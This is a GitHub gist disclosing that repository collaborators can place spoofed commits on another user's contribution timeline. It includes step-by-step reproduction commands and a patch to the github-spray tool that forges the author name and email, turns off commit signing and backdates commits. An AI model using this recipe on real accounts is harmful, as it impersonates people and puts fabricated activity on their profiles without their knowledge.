Skip to content

Instantly share code, notes, and snippets.

@wknapik
Last active December 28, 2022 00:17
Show Gist options
  • Save wknapik/e56b43023c3f105caad9b3fc5081a6b0 to your computer and use it in GitHub Desktop.
Save wknapik/e56b43023c3f105caad9b3fc5081a6b0 to your computer and use it in GitHub Desktop.
Users who collaborate on the same GitHub repo can write on each other's timeline

Description

Users who collaborate on the same GitHub repo can write on each other's timeline.

This includes github-spray-type writing to inject messages on the user's "pixelated" activity overview for any period.

This is effective:

  • even when writes to the repo happened before the victim was a collaborator
  • even when the commits predate the user joining GitHub
  • when commits are pushed to the repo's default branch
  • even when the default branch history is rewritten at any point to include commits attributed to the victim
  • even when commits are pushed to any branch and then the default branch is changed to the one containing the commits
  • regardless of repo ownership and visibility
  • regardless of who accepted/sent the invitation to collaborate

Timeline changes are visible immediately when commits meeting the above criteria are added, or removed at origin.

The victim has no way of knowing any of this happened and no way of predicting it while accepting an invitation.

If the victim doesn't have vigilant mode enabled, there's nothing in the GitHub UI to indicate that the spoofed activity is not legitimate.

Steps To Reproduce

git clone git@github.com:Annihil/github-spray.git
cd github-spray
git apply <spray.patch
npm i
./index.js -u "$VICTIM_USERNAME" -e "$VICTIM_EMAIL" -t "$TEXT" --multiplier 10 --push --origin "$REPO"

The victim needs to be a collaborator on $REPO. If they're not, they can be invited at any point in the process and when they accept, the changes will take effect.

Impact

The attacker can make any message show up on the victim's activity overview for any period without the victim realizing it, getting notified, or being able to predict it ahead of time.

If the victim doesn't have vigilant mode enabled, there's nothing in the GitHub UI to indicate that the spoofed activity is not legitimate.

If the repo is private and the victim chose to show activity from private repos on their activity overview, viewers would not be able to inspect the commits and discover the missing/invalid signatures, even if the victim has vigilant mode enabled, but they would see whatever message the attacker chose to "spray" on the timeline.

Especially in companies that host their repositories on GitHub, employees may be collaborators on hundreds of repos and be vulnerable to this (and the private repo case described above may be common).

The github-spray-type messages are very prominent on the profile page, so this is not something viewers would have to look for, it would likely be the first thing they'd notice.

Since the messages can be hidden/shown instantly and once removed, there's no trace of it anywhere, the attacker may easily troll their victim(s) and avoid detection indefinitely.

Disclosure

This was reported to GitHub and determined to be "working as expected".

diff --git a/index.js b/index.js
index 6eb05d3..743ef20 100755
--- a/index.js
+++ b/index.js
@@ -16,6 +16,8 @@ let alphabet = require('./alphabet');
program
.version(p.version)
+ .option('-u, --user [user.name]', 'Set the user')
+ .option('-e, --email [user.email]', 'Set the email')
.option('-s, --startdate [date]', 'Set the start date (rounded to week)')
.option('-o, --origin [url]', 'Add origin url')
.option('-p, --push', 'Push to origin')
@@ -83,6 +85,15 @@ let seconds = startDate.unix();
const folder = 'spray-' + crypto.randomBytes(6).toString('hex'), file = 'readme.md';
fs.mkdirSync(folder);
execSync(`git init ${folder}`);
+if (program.user) {
+ execSync(`git -C ${folder} config user.name "${program.user}"`);
+}
+if (program.email) {
+ execSync(`git -C ${folder} config user.email "${program.email}"`);
+}
+if (program.user || program.email) {
+ execSync(`git -C ${folder} config commit.gpgsign false`);
+}
fs.writeFileSync(`./${folder}/${file}`, readme);
execSync(`git -C ${folder} add ${file}`);
term.windowTitle(p.name);
@@ -111,7 +122,7 @@ for (let week = 0; week < maxWeeks; week++) {
let progress2 = mapRange(commit, 0, commitsPerDay - 1, 0, chars.length - 1);
if (isNaN(progress2)) progress2 = chars.length - 1;
term.moveTo(week + 1, day + 1, chars[progress2]);
- execSync(`git -C ${folder} commit --allow-empty --date="${seconds}" -am '${p.name}'`);
+ execSync(`GIT_AUTHOR_DATE="${seconds}" GIT_COMMITTER_DATE="${seconds}" git -C ${folder} commit --allow-empty -am '${p.name}'`);
commits++;
}
seconds += 24 * 60 * 60;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment